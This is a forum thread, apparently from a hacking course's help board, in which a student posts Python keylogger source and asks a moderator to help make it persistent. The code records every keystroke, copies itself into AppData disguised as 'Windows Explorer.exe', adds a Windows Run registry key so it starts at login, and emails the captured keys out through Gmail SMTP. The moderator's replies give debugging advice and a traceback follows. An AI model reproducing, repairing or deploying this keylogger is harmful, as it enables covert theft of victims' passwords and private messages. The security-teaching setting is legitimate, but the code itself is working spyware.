Viewing 15 posts - 1 through 15 (of 25 total)
  • Author
    Posts
  • #43499
    Avatarsultand
    Participant

    The below command is what I used in trying to make my keylogger persistent. Please can you check it and correct my mistakes as I am not able to get it to work, giving fetal error message

    ===============================================================================================
    #!/usr/bin/env python

    import pynput.keyboard

    import threading

    import smtplib

    import subprocess

    import os

    import sys

    import shutil

    class Keylogger:

    def __init__(self, time_interval, email, password):

    self.become_persistent()

    self.log = “Keylogger started”

    self.interval = time_interval

    self.email = email

    self.password = password

    def become_persistent(self):

    evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”

    if not os.path.exists(evil_file_location):

    shutil.copyfile(sys.executable, evil_file_location)

    subprocess.call(‘reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d “‘ + evil_file_location + ‘”‘, shell=True)

    def append_to_log(self, string):

    self.log = self.log + string

    def process_key_press(self, key):

    try:

    current_key = str(key.char)

    except AttributeError:

    if key == key.space:

    current_key = ” ”

    else:

    current_key = ” ” + str(key) + ” ”

    self.append_to_log(current_key)

    def report(self):

    self.send_mail(self.email, self.password, “\n\n” + self.log)

    self.log = “”

    timer = threading.Timer(self.interval, self.report)

    timer.start()

    def send_mail(self, email, password, message):

    server = smtplib.SMTP(“smtp.gmail.com”, 587)

    server.starttls()

    server.login(email, password)

    server.sendmail(email, email, message)

    server.quit()

    def start(self):

    keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)

    with keyboard_listener:

    self.report()

    keyboard_listener.join()

    #43517
    diegodiego
    Moderator

    Hi!
    Can you share your code using the “code” function in the interface so I can read it with the proper indentation? can you share a screenshot of the error?

    Thanks!
    Diego

    #43519
    Avatarsultand
    Participant

    Dear Diego,

    Thank you for getting back to me, please see the attached links as requested, this is my first time programming anything in life and I will really appreciate it if you will be patient with me and put me through, Thanks

    #43588
    diegodiego
    Moderator

    Hi!
    There are not attached links, can you share them again?

    Thanks!
    Diego

    #43596
    Avatarsultand
    Participant

    #43597
    Avatarsultand
    Participant
    #43654
    diegodiego
    Moderator

    Hi!
    As this method is designed for windows you should run it in windows, and don’t use Pycharm to run it, use command prompt instead.

    Let me know how it goes!
    Diego

    #43686
    Avatarsultand
    Participant

    Hi Diego,

    Thank you for your response, I did not understand what you mean by running it in windows, I build the keylogger with Pycharm using python and complied into .exe file and transferred to windows for testing but when I click it to install it in the window I am getting a fatal error message on window, please can you explain more how you want me to go about it, like a said before, this is my first time programing and I am just following step by step shown on Zain lecture.

    Can you give me more direction on what I need to do to make the keylogger persistent, if it will be possible to give me step by step in instruction.

    I understand that what I am asking maybe too much because you have lots of other student to attend to but I will truly appreciate it if you can give me step by step in instruction on how to do it because its one of most important thing that I wish to achieve on this course.

    Once again thank you for your time.

    #43707
    diegodiego
    Moderator

    Hi!
    All the screenshots you have shared are from Pycharm, and you are trying to run the script in Pycharm’s terminal, so that won’t work. There’s no picture where you show the error of running it in windows as an executable.
    The first step is to run the script in windows and know that it works, but eun the script, don’t compile it.

    Let me know how it goes!
    Diego

    #43737
    Avatarsultand
    Participant
    #43770
    diegodiego
    Moderator

    Hi!
    Ok, but you didn’t pay attention to what I said. Does it work as a script? This is the first step and you haven’t clarified it.

    Let me know.
    Diego

    #43803
    Avatarsultand
    Participant

    Dear Diego,

    When I run the script without trying to make it persistent it works fine but when I follow the lecture where Zain make a backdoor persistent it not working, I am getting the error code when I run the script:

    Traceback (most recent call last):

    File “zlogger.py”, line 4, in <module>

    my_keylogger = keylogger.Keylogger(12, “[email protected]”, “……..”)

    File “/root/PycharmProjects/keylogger/keylogger.py”, line 13, in __init__

    self.become_persistent()

    File “/root/PycharmProjects/keylogger/keylogger.py”, line 20, in become_persistent

    evil_file_location = os.environ[“appdata”] + “\\Windows Explorer.exe”

    File “/usr/lib/python2.7/UserDict.py”, line 40, in __getitem__

    raise KeyError(key)

    KeyError: ‘appdata’

    #43824
    diegodiego
    Moderator

    Hi!
    Can you post your code here? Bur use the CODE button in the interface so I can read it with the proper indentation and try it out.

    Let me know.
    Diego

    #43858
    Avatarsultand
    Participant

    Dear Diego,

    I have paste the code on subline text editor and uploaded it on dropbox so you can access it.

    https://www.dropbox.com/s/j7bdnvxaks3010v/Keylogger_1.py?dl=0
    https://www.dropbox.com/s/w4mt0vd7mdbrst6/Keylogger_2.py?dl=0

    I hope you find it in order

    #43867
    diegodiego
    Moderator

    Hi!
    Thanks, give me a couple of days and I’ll get back to you.

    Greetings!
    Diego

Viewing 15 posts - 1 through 15 (of 25 total)
  • You must be logged in to reply to this topic.